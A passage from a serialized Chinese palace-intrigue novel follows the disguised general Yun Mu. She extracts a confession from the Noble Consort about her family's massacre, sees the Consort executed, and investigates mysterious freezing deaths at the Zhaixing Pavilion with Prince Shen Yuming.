云暮将一把匕首丢在她面前,“是吗,那如果你还有一个通胡的罪名呢?涿州的那伙胡人有着两把一摸一样的匕首,是奉了你的命要在涿州卖米囊花吧?” “当初不知背后是谁,我才故意压下此事,谁想你还真信了我什么都没有查出来的事。” 贵妃道:“不过是匕首罢了,你怎么就认定是我所为?” 云暮已经不想在同她分辩,她拿着匕首拍打着贵妃的脸:“本将军还查到了十年前的一桩冤案,不知贵妃感不感兴趣。” 贵妃心下一紧,心虚地咽了咽唾沫:“本宫听不懂你在说什么。” “听不懂没关系,本将军来替你回忆。” “十年前,云院使出宫时遇到了你和李天的对话,你怕他听到了什么不该听的,于是让李天把人给杀了,还演了一出戏,说是云院判见你孤身一人,起了色心,欲行不轨,可怜院判一家被你杀的杀,烧的烧,竟一个活口都没有留下。” 贵妃想攀着木栏站起,双腿已经被吓得使不上劲,她强装镇定:“你胡说什么!” 云暮握紧了匕首,恨不得在贵妃给捅上十几个窟窿:“你说本将军要是把这件事告诉皇上,三皇子会如何?” 第一百二十九章 抓胡人 牵扯到梁承熙,贵妃终于慌了,“你有什么都冲我来,别对承熙下手,上次你和太子联手害他至此还不够吗?” 云暮不以为意,又用方才的话搪塞她:“手下败将,技不如人,也是活该。他倒了,太子殿下正好能分一杯羹,若是你肯招出背后的胡人,戴罪立功,没准本将军心情一好,就不提起此事了呢?” 慌乱过后,贵妃重新找回了理智,她上下扫着云暮,问道:“本宫记得云大人今年及冠了吧,若是云家当年那个小丫头还活着,好像也和你一样大吧?听说她和你一样,都叫云暮。” 云暮面不改色,匕首在手指间翻飞:“娘娘,本将军昔日受宫刑,皇上和皇后都是知道的,你是想说整个净身房都在欺瞒他们?” 亲自揭开伤疤,云暮的脸上有些难堪,不知什么什么,她恶劣开口:“不如本将军把三皇子送去净身房,给娘娘演示一番,你就知道里面的太医能不能分出男女性别了。” 贵妃怒道:“你敢!” 云暮凉凉道:“本将军不知抄过多少大员的家,他不过是一个不知哪来的野种,有何不敢?” 见云暮不似说笑,贵妃终于知道怕了,她若是招了,保下承熙后,他也没了后手,可若是不说,他们母子就全完了!她眼珠子一转:“本宫都招,只要你瞒下这件事。” 云暮这才重新坐下,摸出笔一一记了下来。 大理寺里,沈聿明翻看着贵妃的供词,“她还有几人没交代。” 云暮本就对贵妃的说辞抱有怀疑的态度,闻言还不意外,“还有谁?” 沈聿明提笔在上面又添了几个名字,并指着中间的那个胡佐说道:“这个是这伙胡人的首领,前不久还派人把失忆的我邀了出去,想让我暗中替他们卖米囊花,还想让我再负荆请罪,和你重修于好,还说江南黑疙瘩的生意能交给你,他们二,咱八。” 大梁从年前就开始禁米囊花,这么久了,他们还没死心?云暮挑眉“这么大方,李海替他们卖命都只得了三,下官何德何能。” 她收起供词,正了正脸色:“你可要去审一审贵妃?” 沈聿明点头:“晚些时候再去,再借此恢复记忆,不然这阵子就白演了。云家的事都问清楚了?” 这一次轮到云暮点头了,“嗯,只是我不明白,我爹那日为何会从东南角出宫。” 沈聿明略带哀伤地看着她,若是把真相说出,只怕她会崩溃。 云暮茫然地和他对视:“怎么了?” 沈聿明将供词推到她面前:“无事,只是想起了一件往事。” 云暮起身:“我先回去派金吾卫把人看住,再进宫面圣。” 沈聿明也跟着站起:“我随你进宫。” 云暮把他摁了回去“不可,等你审了贵妃后再去,给皇上再添一把火。” 建安二十四年,贵妃何秋林勾结胡人,在圣上的药膳中添米囊花,欲覆皇权,皇三子梁承熙结朋党排除异己,亦有夺位之嫌,何秋林母子皆废为庶人,打入大牢。 宫中流言蜚语尽出,亦不乏落井下石者,但有金吾卫在,只敢远远地啐一口罢了。 梁文帝为了维护他的尊严,半字不提云家之事,看着他将口供点燃,云暮的脸色也一点一点沉了下去。 原以为证据确凿,就能重返旧案,还云家清白,谁想竟会是这个结果? 她死死地握住双拳,努力遏制住抢回供词的想法。何秋林还没死,她就能再以梁承熙为要挟,逼对方再写一份供词。 皇后没等黄如海传话,径直闯进了勤政殿,一把夺过被烧了一半的供词。 云暮诧异地瞪大了眼。 “皇上,当年臣妾说过云院判是被人冤枉,如今有了证据,何不公之于众,还云院使一个清白?” 梁文帝冷冷地看着皇后,冲她伸出了手“拿来,朕当初怎么会不知道是被人冤枉,这事于朕来说是奇耻大辱,且人死如灯灭,云院判在天有灵也会认同朕的做法。” 皇后背过手,将供词置于身后:“皇上,请恕臣妾无礼,云院判当日是被臣妾召进宫中,才有此劫难,一日不还其清白,臣妾一日难安。” “把此事公之于众,你是安了,朕的脸面往哪搁?” 眼看着两人又要吵了起来,云暮也出声劝道:“皇后娘娘,皇上乃一国之君,此事纵有冤屈,也过去了这么多年,有谁还会记得?若再翻案,只会让皇家颜面扫地。” 黄如海也在一旁劝着。 皇后转目看向云暮:“你当真是这样想的?” 云暮怕被她看出端倪,没有丝毫避让:是。 一人难敌四拳,更何况一人面对三人,皇后冷笑了几声,将纸揉成一团砸向云暮,失望离去。 “那伙胡人如何了?” 云暮道:“回皇上,只需您一声令下,便可将人捉捕归案。” 供词被火舔舐,只剩下黑灰,梁文帝沉声道:“两日后收网,这几日把人看好了,朝中有官员同他们来往通信,不管是谁,也一并拘了。” “是。” 胡人性狡,才得了贵妃和三皇子的消息,就知他们的据点已经暴露,欲迁往别地,才一动身,就被云暮派去的人控制。 “几位官爷,我们又没犯事,凭什么抓我们?” 月光照不进的黑暗小巷映着红色的火光,云暮缓缓从冯章身后走出,“你就是胡佐?” 云暮一脸笑眯眯的模样,即便如此,胡佐还是没敢放下戒备,“草民见过云将军。” 没有络腮胡,官话也说得标准,长相只与画像上的有四五分相似。 云暮丢给冯章一瓶似油非油的东西,道:“给他洗把脸。” 胡人面孔慢慢显露在人前。 守了这么多日的人竟是胡人,众人都惊呼了一声。云暮心中却道霉次出门必伪装,难怪她没在京城发现过胡人的踪迹。 她指着地上的几个木箱道“人押回去,东西先送到云府,再留几个人同本将军进去搜查。” 第一百三十章 贵妃身死 建安二十四年,夏。 云暮奉皇命彻查大梁官员与胡人勾结一案,每隔几日都有人被押进大牢,一时之间,朝野上下人心惶惶。 一个月转瞬即逝,一切也都尘埃落定。 人们把菜场口围了个水泄不通,台上,何秋林兄妹和胡佐及几名官员被绑在柱子上。 云暮正对着何秋林站在台下,胸前坠着一枚平安锁,阳光下折射出的光刺着何秋林的眼。 捡来的石子和烂菜叶纷纷往几人身上招呼,一颗带着尖角的石子砸到何秋林的头上,鲜血顺着额角滑落。 云暮冷冷地瞥了一眼离她三尺远的百姓,他们讷讷地收回了手,只敢捡些软乎的东西丢。 监斩官不知被何事绊住了脚,迟迟未到,云暮解下那枚平安锁,食指勾着它不时甩动几下,何秋林咬唇死死盯着平安锁。 云暮隐晦地指了指天,另一只手慢慢收拢,平安锁开始扭曲。 午时三刻一旦过了,约定就不作数了。 何秋林深吸了一口气,开口道:“十年前,太医院云院判……” 十年前的旧案被人翻出,围观的百姓还有不少承过云家的恩,见刽子手们要上前制止,有几个胆大的竟爬到木台之上,拦住了他们。 “让她说!” “把人拦住!” …… 何秋林说完之后,目光复杂地盯着云暮,平安锁又重新挂在了他的胸前。 云暮示意雇来的人制造混乱,她则上前一步将一颗红色的小药丸弹入何秋林的口中,瞒下梁承熙的身份和让何秋林体面死去,是作为对方还灭门真相的代价。 做完这件事,监斩官终于赶到,云暮头也不回地走了,其余人见状,一拥而上,只为占到一个绝佳的观刑位置。 身后的何秋林低垂着头,长且蓬乱的头发挡住了整张脸,鲜血一滴滴地从嘴角滑落。 有眼尖的人看到,忙指着何秋林道:“她吐血了!” 围观者不乏郎中,很快就断出是中了鹤顶红,便是大罗神仙来了也无力回天。 云暮来到城门,将一处地契和一袋银子抛给梁承熙:“何秋林托我给你的。” 钱袋里的银子被他攥得咯吱响,云暮冷了脸:“成王败寇,你沦落至此说明技不如人,况且我只答应了她留你一命,你再敢用这个眼神看着我,你的这双眼睛也别要了。” “午时末,乱葬岗,你还能替她收尸。” 说罢,云暮头也不回地走了,她走后不久,一个衣衫褴褛的人也来到城门口,站在了梁承熙面前。 户部工部的两位尚书同时出现在勤政殿,梁文帝看的却是云暮“最近抄家抄出了多少银子?” 云暮答道:“白银共计四百万两,另有丝绸器物等折合成现银不下一百万两。” 这些都是她抄出来的,一一登记在册,梁文帝和裴然就算想不记户部账都不行。 梁文帝这才看向两位尚书:“国库充盈,你们让钦天监选一个好日子,修出一座宫殿供朕修道。” 裴然一向对梁文帝言听计从,但工部尚书周翰文却面露犹豫,“皇上,江南堤坝一事未了,还有先前延误的军饷……” 这些银子听着很多,各部一直等着银子,一散下去,也就什么都不剩了。 梁文帝听着这话,方才还提着的嘴角紧紧抿着,不满周翰文的不识趣。 “朕不过是想要一个清修之地,修建一座宫殿花得了多少银子?云卿,此事你怎么看?” 云暮巴不得他失了臣子心,于是迎合他的话:“皇上是大梁的天子,不过是修座宫殿,有何不可?” 周翰文瞪了云暮一眼,去年年初,六部尚书及丞相在勤政殿议事,周翰文提及宫中殿宇多年未修,但裴然却道户部缺钱,能省则省。 军饷欠了几个月,有些地方的税也越征越多,尤其东南一带。 “皇上……” 梁文帝不耐烦道:“你这么会盘算,这户部尚书不如就由你一并兼了?” 周翰文这下才住了嘴。 “需要多少银子就找裴然批,两个月内,朕要看到宫殿,还有异议吗?” 两人异口同声道了声没有,只是周翰文的声音里还带着不满。 “下去吧,云卿留下。” “抬头。” 这是算账来了?云暮依言抬起头,双目直视龙颜。 “听说昨日贵妃被斩首时你也去了?” 瞒着也是无用,云暮嗯了一声。 梁文帝突然盛怒:“她说那些话时你为何不上前制止?” 云暮随口道:“当时臣被一众人围着,脱不了身,那几个刽子手倒是制止了,但都被人拦了下来。” 梁文帝想到旁人之言,试图在云暮的脸上找到熟悉感,“你有没有什么瞒着朕?比如你的身份?” 云暮满身的尖刺都炸了起来,“微臣什么身份,当年微臣是奔着太医之位来的,若不是您,微臣何故会成为一个人人可欺的太监?” 她撩起衣摆,边说眼眶中的泪水边掉:“怎么,皇上要亲自验一验微臣的身份吗?只怕微臣这副残缺的身体污了您的眼!” 当年云暮宁愿成为阉人都不肯委身于他,梁文帝的疑虑渐消,抓住他的手,温声道:“停手,朕不是这个意思。” 云暮猛地甩开他的手:“别碰我!你既有疑心,就别留我在面前碍眼,干脆将我丢到冷宫伺候那些疯子,我受够了这些三番五次的试探。” 后宫的女人对他处处讨好,对于云暮的冷脸,梁文帝稀罕得很,有时还故意把人召进宫招惹一番,可当下云暮的反应在他的意料之外,连预先想好的试探对方与沈聿明的关系都不敢再提。 “不过是有人在朕面前嚼舌根,朕多嘴问一句罢了,你莫要生气。” 云暮抬袖擦泪,又恶狠狠地插上一刀:“皇上莫要忘了,微臣今日的名声全拜您所赐。” 这下梁文帝彻底默了,良久,他才出声:“你就这般恨朕?” 只因一个莫须有的罪名,她爹娘冰冷地躺在火海中,白骨都没有留下,她恨不得啖其肉,饮其血。 “皇上,您这辈子都不会得到微臣的垂怜,除非您现在去死。” 第一百三十一章 死于报应 从皇宫出来后,云暮彻底松了一口气,今天这么一闹,梁文帝应该会安分一些时日了,她真的疲于应对整天没完没了的试探。 谁知在宫门口碰见了进宫面圣的沈聿明,她趁着低头行礼的空当往身后瞥了一眼,转角处有一只白色的鞋头,却不见人影。 “下官见过王爷。” 沈聿明微微点头,越过她往里走去。 云暮阴阳怪气地开口:“这次这么多官员被抄家,王爷背地里没少把自己的人往上推吧。” 沈聿明停住脚,转身看她:“有些官员确实是由本王推荐,但本王所荐之人都是脚踏实地为朝廷做事之人,难道皇兄就没举荐自己人上位?” 云暮嗤笑:“太子殿下知人善用,举荐之人不论身份贵贱,只是为了皇上能给分忧,和你这种沽名钓誉之人不同。” …… 两人因争吵不欢而散,他们的对话也很快传到勤政殿和未央宫。 梁文帝心中的阴翳少了几分,但试探还是未停,他笑问:“明熹,听说你和云卿吵了一架?” 沈聿明重重地把茶杯搁在桌上:“她简直不可理喻!平日里对儿臣鼻子不是鼻子,眼睛不是眼睛,今日又跟吃了炮仗一样,见人就炸。父皇,您得管管她,否则哪天儿臣气上头了,恐怕会派人把她捆来打一顿。” 梁文帝的笑意不达眼底,他问:“从前你们交好,这么多年他也只收过你府上送去的礼,你舍得?” 沈聿明惋惜道:“父皇,儿臣恢复记忆后就差负荆请罪了,但她不是无视就是羞辱,儿臣也是个要脸的,她不愿,儿臣也懒得强求。” “朝堂上意见不合者不在少数,儿臣与她也是如此,看开了自然就好了。” 说罢,坦荡对上了梁文帝打量的目光。 梁文帝终于放下心,替云暮解释:“他性子急,方才朕惹他生了气,又见了你,这才把气撒到你身上,你平日多担待些。” 语气里的炫耀怎么都掩不住。 云暮若是真的生了气,只会沉默,但方才却还有闲心陪他演戏,可见和梁文帝大闹一场也是演戏,沈聿明无动于衷,甚至还慢悠悠地喝了口茶。 …… 云暮才到布政坊,就见冯章身边站着神色焦急的刘监工。刘监工一见到云暮,小跑到他面前,“云将军,大事不好了。” 声音急得都破了音,云暮问道:“怎么了?摘星阁出什么事了?” “死了……王监工死了……” 昨日下值前还见过他,看起来精神气十足,云暮有些意外:“你把事情仔细说来。” 刘监工往外挪了挪,站在了烈日之下。 “今日王监工到摘星阁时还好好的,小人同那几个监工一同去检查摘星阁,到围栏时,他突然就没了气息,浑身冰冷僵硬如寒冰。” 云暮只当他大惊小怪∶“人死后不都会僵硬冰冷,许是他突发恶疾。” 刘监工摆手道:“云将军,不一样,小人伸手摸过,他就和冰室里存的冰一样冷。” 这种死法闻所未闻,云暮往摘星阁的方向走去,“报官了吗?” 刘监工跟了上去:“已经遣人去大理寺了。” 云暮到时,大理寺少卿何昌已经到了,王监工的尸首已经被抬了下来,周围围了一圈人,示意大理寺的人把百姓赶走,她则蹲到何昌身边∶“何少卿,有何发现?” 何昌屈起指敲了敲王监工,发出咚咚的声音,又停留了片刻,指尖很快就被冻得通红,细细一刮,还能刮出一层白霜。 他收回手,奇道∶“云将军,下官在大理寺这么多年,还是第一次见到这种死法。您来之前,下官问了几个平常和王监工走得近的人,他并未有隐疾,还因常年劳作,身体健壮得很。” “但有个住在附近的人道最近夜里他见过几次‘鬼影’,他们都道是冤魂来索命。” 摘星阁动工前,朝廷在此处征收土地,每户都给了补偿,无一人不满,也并未逼死一人,怎会有冤魂? 云暮只觉得荒谬:“真有冤魂索命,本将军早就死了千万次,害死一个监工有何用?” 云暮走的是一条血路,死在他手上的人能垒成几堵墙,何昌不敢接话。 云暮道:“先去看看摘星阁有无线索。” 摘星阁十日之内须得完工,王监工身死一事太过离奇,工人即便再好奇,也只敢伸长脖子往外看,手中的动作却一刻也不敢停。 入夏以来,天气越发燥热,工人日日挥汗如雨,有不少人中 了暑气,于是水桶里便多了冰块。 一大群人围成一圈,边盯着走进来的云暮和何昌,边往桶里舀着冰水。 王监工手底下的人都被叫到了大堂,脸上全是惴惴不安。摘星阁的工人分工明确,王监工手下的人负责运送木材和砖土,更多的是在大唐中央活动。 何昌看向云暮,朝他做了一个请的动作,云暮退了一步:“你有何疑惑,问就是了。” 何昌也没再推迟,转身看向底下之人,问道:“王监工近日可曾接触过什么不同寻常的东西……” 云暮则看向身后无人动过的符文,绕着符文走了一圈后,手还未搭上,想起空明大师的话后,又放下了手,摘星阁即将建成,各国使臣也开始出发前往大梁,此刻不能掉链子。 查问无果,何昌也不好再耽误他们,对云暮道:“将军,下官回大理寺翻翻卷宗,看看有无类似的案子。” 云暮几步跃上高台,俯视着大堂中的人,试图在他们的脸上找到蛛丝马迹,“把人也抬走。” 此刻离万寿节不过一个半月,尸首不能留在摘星阁。 “是。” 查了两日都没有结果,又有几人死了,无一例外,都是死在栏杆旁,摘星阁上下,人心惶惶,最适合午间休憩乘凉的栏杆也变得阴森。 何昌依旧来了摘星阁,这一次却是把整个摘星阁的工人叫到了一处,“你们若是再有隐瞒摘星阁之事,下一个死的就是你们,本官也救不了你们……” 一番话说得他口干舌燥,再加上是步行而来,何昌的嗓子干到冒烟,结果监工手中的水壶,他咕噜噜地喝完了一壶冰水。 第一百三十二章 验尸 何昌示意手下把说话之人揪出来,“报应是何意?谁碰了符文?” 那人朝天举起双手,神色癫狂:“王监工,他碰了符文,他遭了报应!死有余辜!” 云暮和何昌对视了一眼,将水壶丢给监工,与何昌一起把人带到角落处审问。 何昌怒道∶“王监工动了符文?你那日怎么不说?” 空明大师曾说,符文只能由皇上亲挂亲取,且摘星阁未建成之前,谁也不许碰,皇上还下了圣旨,谁敢动一下符文,满门抄斩,王监工是吃了熊心豹子胆吗? 云暮拍了拍何昌的肩:“我来。” 她看向这人,问道:“你是何人?怎会知晓此事?” 齐大柱抬眼看向云暮,“回云将军,草民齐大柱,王监工死前,草民亲眼见他翻动符文,第二日人就死了。” 云暮又问:“你可知动了符文的下场?” 齐大柱低下头,“知道。” 云暮的目光紧紧锁着他,“那你为何不制止?” 齐大柱冷笑:“草民恨不得他满门被抄,为何要提醒?” 这事与命案无关,见他还要吐苦水,云暮问起另一个问题:“那这两天死的那几个也动过符文?” 许久,齐大柱才道:“是。” 犹豫,语气还飘忽不定,云暮心里起了疑。 这事与符文相关,云暮和何昌不敢再瞒着梁文帝,当即决定入宫面圣。 一路从摘星阁到宫门,天气阴沉无风,穿过宫道后,狂风拨开乌云,金光洒落宫城。 何昌突然打了一个激灵,搓了搓手臂,唇齿打颤,话都说不利索了:“云将军,怎么突然就冷了。” 云暮眼睁睁地看着他蹲在墙角,缩成了一团,而后再也没了生息。 她拍了拍何昌,“何少卿?” 入手生寒,人也瞬间发硬。何昌从未碰过符文,为何会如此? 路过的宫人不明所以,还当何昌身子不适,在把何昌抬到担架上时,他们才察觉人死了。 手一松,人摔到了地上,落地声如冰块坠地。 “这……” 何昌被抬到了勤政殿外,云暮道:“摘星阁的工人齐大柱说王监工是因为碰了符文才遭此报应,还道这两日死的那几个也碰了,但何昌并未碰过,却也离奇死了。” “微臣斗胆猜测,此事与符文无关。” 梁文帝朝门外看了一眼,道:“宣程文博进宫。” 程文博匆匆进宫,面色凝重:“皇上,最先死的那个监工已经化成了尸水,只余白骨。” 梁文帝显然也是第一次听到这种死法,他倏地站起:“云卿,你和程文博一起调查此案,务必在十天内找出真凶,不能耽误摘星阁的进度。” “是。” 云暮才到大理寺,沈聿明就得了消息,于是打着看热闹的旗号,一起去了大理寺的停尸房。 尸水一滴一滴从木板上滴落,堵了好几层布的鼻子还是能闻到令人作呕的腐味。 云暮阅尸无数,饶是如此,还是被这个画面给镇住了。而沈聿明忍受不住,跑出去吐了个天昏地暗。 程文博尚在,云暮不敢明目张胆地去找沈聿明,只能叫来文竹,借口让他去拿案宗时将一瓶药塞到他手里。 案发至今才过三日,肉身腐败也不会这般快,眼下唯有查验尸体方能找到线索。 停尸房阴冷昏暗,云暮和程文博一人提着一盏灯笼,一左一右地站在王监工的两侧,细细打量着每一寸尸骨。 但毫无收获。 两人如法炮制,去检查了其余几具尸体,这时沈聿明面如菜色地捏着几副手衣走了进来。 “本王检查过了,身体僵硬掰不开,只能维持着这个姿势,身上无外伤。” 他指着另一具尸体道:“王监工死后的第二天,他也死了,昨日本王来时他还是僵硬如铁,但如今里头却像化成水了一样软。” 云暮上手轻轻地捏了捏此人的手臂,果然异常之软,好似只需用匕首轻轻一划,里面化成尸水的血肉就会喷涌而出。 在要把一切都晒干晒化的盛夏,除去这两具尸体外,其余的都还是异常的僵硬冰冷,就连臭味都不曾散发出来。 云暮心里有一个想法,她犹豫了片刻,还是说道;“非外力致死,七窍也不曾流血,不知是否是毒杀,不如请个仵作来验尸?” 大理寺常年经手不同的案子,剖尸验尸也是做过,程文博觉得云暮之言不无道理,但还是有些犹豫,“可是他们的家 人……” 身体发肤,受之父母,他们的家人怕是不愿。 云暮除掉手衣,“那他们让别来大理寺闹事,每日死上几个,也不会误了摘星阁的事。” 这话多少带了赌气,程文博无奈道:“我派人去游说,看看有无转圜的余地。” 手中的案宗翻得哗哗响,云暮指着纸上之人道:“此人无妻无子,父母也身死,不如就从他查起。” 而且人是昨日才死的。 几人把目光同时投向角落之人。 仵作忙活了好一阵才终于划开皮肉,和外表坚硬的人皮不同,内里却是和生前一样柔软。 …… 内里无伤,亦无中毒发黑,看着胃里的食物残渣,都是摘星阁给工人们提供的早饭,一起吃喝,只有他们出了事,几人再次沉默了。 云暮解下鼻尖的布条,挫败地往外走,一定有什么他们没注意到的问题。 云暮倒在椅子上,指尖在扶手上轻点,从何昌到摘星阁起,她一直和对方待在一处,但对方没有任何异常的举动。 传唤了几个目睹其余人死的工人,云暮问道:“把当日人死前死后的情况再说一遍。” …… 云暮把他们前后的两份供词摆在一起,在摘星阁死的,都是在栏杆处,但死亡时间不定,有早晨,有傍晚。 这些供词都没有任何相似之处。 沈聿明站在他身后,给她揉着太阳穴,“其余人去的地点接触的人太多,不如从何昌下手。” 云暮嗯了一声,拿下他的手,却不放开,“除了毒杀,我想不到别的法子能杀人于无形,只是这毒闻所未闻。” 第一百三十三章 水有问题? 米囊花之事过后,鬼市被封了一段时日后又卷土重来,如今也只能碰碰运气了。 云暮一手拿着供词,一边提笔写下当日何昌的举动,最后笔尖落在了喝水一词上。 她把那张纸递给沈聿明∶“何昌唯一和摘星阁有交集的,就是他喝了水。” 沈聿明率先站起,手上使力把人拉起:“走吧,陪你去一趟摘星阁。” 云暮顺势起身,“本以为大仇得报后能消停一阵,结果还是没个消停。” 沈聿明揽着她往外走去:“辞官吧,来王府给我当幕僚。” 云暮拍开他的手,拉开了两人的距离:“想得美,谁人不知我云暮贪权,幕僚岂不是委屈了我?” 沈聿明轻笑,“那我去你府上给你当幕僚?若是云将军需要,旁的也是可以的。” 云暮瞪他:“不需要!你的脑子里能不能想点正事。” 沈聿明无辜道:“我说的是给你做饭,你想哪里去了?” 云暮脸一热,路也不走了,故作凶狠地掐着他的脸。 沈聿明哀声求饶,嘴角的弧度越越扬越高:“疼疼疼,小的知道错了,云将军就饶小的一回吧。” 云暮松开手,发现他的脸上留下了两道淡淡的红痕,她在心里道了一声娇气,但手却揉了揉他的脸:“真捏疼了?” 沈聿明哼唧了两声,弯下腰:“你吹吹就不疼了。” 知道他在演戏,但云暮还是配合地吹了吹,在对方贴过来之前,她眼疾手快地捂住他的嘴,“别闹,等会儿有人经过就不好了,才验了尸你也不嫌弃。” 没偷袭成功,沈聿明遗憾地直起身:“文竹在外面候着呢,不会有人来,况且你什么样我都喜欢。” 云暮拿出供词扇了扇风,顾左右而言他:“快走吧,不然等会就赶不上了,我还要回府换一身衣裳。” 从云府后门出来时,云暮上了沈聿明的马车,他已经换了一件不显眼的衣裳。 云暮又在他的脸上捣鼓了一阵,捏着他的下巴左右端详:“好了。” 到了摘星阁后,两人假模假样地检查了一番后,云暮站在水桶旁,手中的水壶撞装了满满一壶水,正愁着不知该怎么推到水桶时,运着木料的小推车恰巧从门外推了进来。 云暮双唇微微一勾,将脚下的沙土撒在了此人落脚之地。 为了偷懒,这人把木料堆得比人还高,急吼吼推着木车,平日里没有出过意外,谁料这次竟翻了车。 沈聿明配合云暮,“不经意”撞了一下推车之人,才刚站定的工人踩着沙土往前滑倒,推车也不住往前,木料倒塌,撞倒了水桶。 水桶登时四分五裂,水流了一地,好几坨冰块落到地上,又被滚滚而落的木料砸碎。 有人欲上前阻拦,却又怕被木料压倒,犹犹豫豫不敢上前,一个瘸了腿的监工突然冲上前一同抓住推着上把手,即便那条瘸了的腿被磕出了血也没有松手。 云暮有些诧异,不过目的已经达到,于是她拿起一根木料抵在推车的中间,挡住了推车的去路。 这一出又阻了进度,推车之人赶忙下跪求饶:“云将军,是有人撞了小人,小人不是有意为之。” 他环视了一圈,最后指着沈聿明道:“将军,就是他撞的小人。” 云暮道:“我的人忙于查出真凶,一时没注意,你还不赶紧把木头捡起来送上去,上边都等着用呢。” 她垂眼看着那个瘸腿之人,脸蛋清秀,身体看着很是单薄,与摘星阁的人格格不入,她问道:“你是何人?” 海永汲回道:“小人叫海永汲,今日刚被提上来接替王监工的位置。” 此事也算因她而起,云暮原想给他瓶药,但如今多事之秋,若是她的东西被有心之人利用,怕是会将杀人一事扣在她头上,于是她道:“准你一日假,出去找郎中看看你的腿,药钱你就报本将军的名字,让他们去云府取。” 海永汲拒绝了:“小人的腿已经是老毛病了,将摘星阁建成是最紧要之事,小人不敢耽误大人之事。” 云暮摆摆手,示意他退下:“也不差这半个时辰,本将军让刘监工替你看顾一二就是。” 海永汲还欲说些什么,但云暮已经不想听了,她蹲在破裂的水桶旁,嘴上指使人们快些搬走,眼却不肯放过一点蛛丝马迹,只是出了水就是碎冰,毫无发现。 马车上,云暮将水壶和一块碎木头摆在桌上。鼻间嗅闻碎木头,只有淡淡的松香味。那壶水就更不用说了。,人人都伸着手去打水,倒在白瓷杯里,竟显得有些浑浊。 沈聿明也来回检查了几次,他也是一样毫无头绪。 云暮问道:“今夜去鬼市探探?” 不管她说怎么做,沈聿明都会应下,“好。” 第二次来鬼市,两人易了容,熟门熟路地往里走去。 云暮把一个金元宝塞到一个看不清样貌黑衣人手里:“此地可有懂医之人?” 黑衣人收了银子,低声道:“此地往西,坐船北上,登小岛,有一位号称鬼市辛百草的游医。” 云暮二人朝着此人所说的方向走去,路上,沈聿明打趣道:“你师父这么久都没有消息,这个鬼市辛百草不会就是他吧?” 云暮也不确定:“师兄曾说师父去了西北,但都快一年了还是没有消息,我也着实担心,如果是师父那便好了。” 湖边立了几根火把,船却不多,沈聿明问道:“北上登岛需要多少?” 船夫竖起了两根手指,沈聿明给他抛了两锭银子,率先上船,站在船头朝云暮伸出手:“来。” 船体摇晃,云暮抓着沈聿明的小臂,稳住身子,坐在了他的对面。 船夫问道:“二位可是要去找辛百草?” 云暮警惕道:“为何这么说?” 船夫笑笑,“坐船登岛者,大多都是来寻辛百草,求子,求长生……” 沈聿明好奇道:“那余下之人呢?” 穿过山洞之时,船头的灯笼被风吹灭,船夫幽幽道:“余下之人,是来求死的。” 第一百三十四章 辛百草 船夫的声音在山洞里回荡,云暮把手放在腰间,闭目听着周围的动静,只有稍有不对,她便会一剑抹了船夫的脖子。她察觉到沈聿明虚握着她的手也慢慢收紧。 船夫突然收起船桨,沈聿明手中的火折子燃起,照出船夫那张系着黑布的脸,双眼浑浊。 他取下灯罩,将里头的蜡烛递到沈聿明面前,“这位公子,劳烦你帮我点个蜡烛,船头无灯,前路难行啊。” 沈聿明的手一偏,灯芯重新燃起烛火,洞中的火光更盛,船夫笑着谢他。 船安然驶出山洞后,云暮放松了一直紧绷的身体,她看向那个佝偻的背影:“船家说的求死是何意?” 船夫随着船桨晃着身子,“世间多不平事,无人给他们公道,他们只能自己来求,最后不过两败俱伤,这不是求死是什么?” 此话一出,船上再无一人说话,船头的灯摇摆不定,但到底没有再次熄灭。 船夫将船停在栈道边,便把人赶了下去:“二位公子,该登岛了。” 云暮站着未动,打量着面前窄长的栈道,质疑道:“这是岛?” 船夫指着前头那个由浮木拼成的“岛”,理直气壮地说道:“那里便是你们要找的岛,只能从这条路进去,下去下去,别误了我赚钱。” 云暮二人只能半信半疑地下了船,环顾四周。 此地是在山洞之下,栈道依着石壁,仅容一人通过,手脚都放不开,若是上头落下一张网,就能把她和沈聿明一举抓获。 抬头看向头顶,尖长的钟乳石还滴着水,不像是能藏人的样子。 沈聿明将衣摆塞进云暮手中,率先迈步,“我走前面。” 云暮抽出腰间的软剑,叮嘱道:“小心脚下。” 栈道不知是否是年久失修的缘故,每踩一步,栈道就咯吱一声,云暮伸手在绳索上摩挲,确认绳子粗壮结实后,心才放回了实处。 栈道弯弯绕绕,不知走了多久,他们终于站在了“岛”上,云暮没有贸然登岛,而是道:“辛百草神医可在?” 她师父辛百草,在大梁无人不知,此人也不知什么来路,竟也敢用师父之名,真是张狂,若等会儿他说不出那几个人因何中毒,她一定要把人按着打一顿! “辛百草可在?” 无人回应,云暮又在问了一次,还是无人回应。 两人对视了一眼,沈聿明也开口问道:“辛百草可在?我们兄……兄弟二人特来求药。” 依旧是无人回应。 沈聿明拿出一锭银子抛了出去,确认没有机关后,他的脚就要踏到岛上,一阵青烟突然飘起。 “捂住鼻子。” 云暮拉着沈聿明退回了栈道上,即便她动作快,但还是吸进了一些,云暮忍着眩晕,借着石壁滴落的水打湿帕子,紧紧捂住口鼻。 一个人影自青烟后走出,见此情形,他冷笑了一声,“小儿无礼,不知登门拜访需得征求主人家的同意吗?” 云暮怕他突然发难,掰过沈聿明的身体,两人侧着换了位置,她双目警惕地盯着来人,霹雳子在手中蓄势待发。 她狠咬了下唇定神,道:“我兄长也是求医心切,还请神医勿怪。” 辛百草冷笑了一声,转身朝木屋走去,没听到身后的动静,他道:“不是求医心切,还愣着干什么,等死吗?” 云暮心想,他师父温柔至极,不管对谁都是笑脸,一大把年纪了,还惹得不少寡妇托媒人上门问他是否有娶妻的意愿,此人如此尖酸刻薄,定不是她师父。 她的手突然有些痒了,想打人。 “你没事吧?” 沈聿明方才一直在她前头,青烟只怕吸进去不少,寻常的毒药对她无用,对沈聿明可就说不定了。 她扭头看了一眼沈聿明,抓起他的手给他号脉,虽没中毒,但看他双目有些迷茫,云暮还是给他喂了一粒解毒丹。 解毒丹是她亲手所制,效果绝佳,不过片刻,沈聿明已经清醒了大半,他想揉揉脑袋,才发现自己一手拿着帕子,另一只手则被云暮握着。 他不顾帕子还带着湿气,直接将其塞进胸口,又把头抵在云暮的后肩上,故作虚弱:“云暮,我难受。” 云暮偏头,双唇猝不及防地贴上了他的额头,两人瞬间都僵住了。她若无其事地扭开头,将一颗解毒丹递了过去:“不然你再吃一颗?” 沈聿明的头往前移了移,含住云暮的手,舌尖一卷,解毒丹就入了他的口,但他依旧没有松手,而是就着这个姿势又走了一段路。 这一次,他们终于登上了“岛”。 云暮打量着这个木屋,外头都是杂乱无章的木头树枝,内里却干净整洁,和看起来一身汗臭味的“西贝人”格格不入。 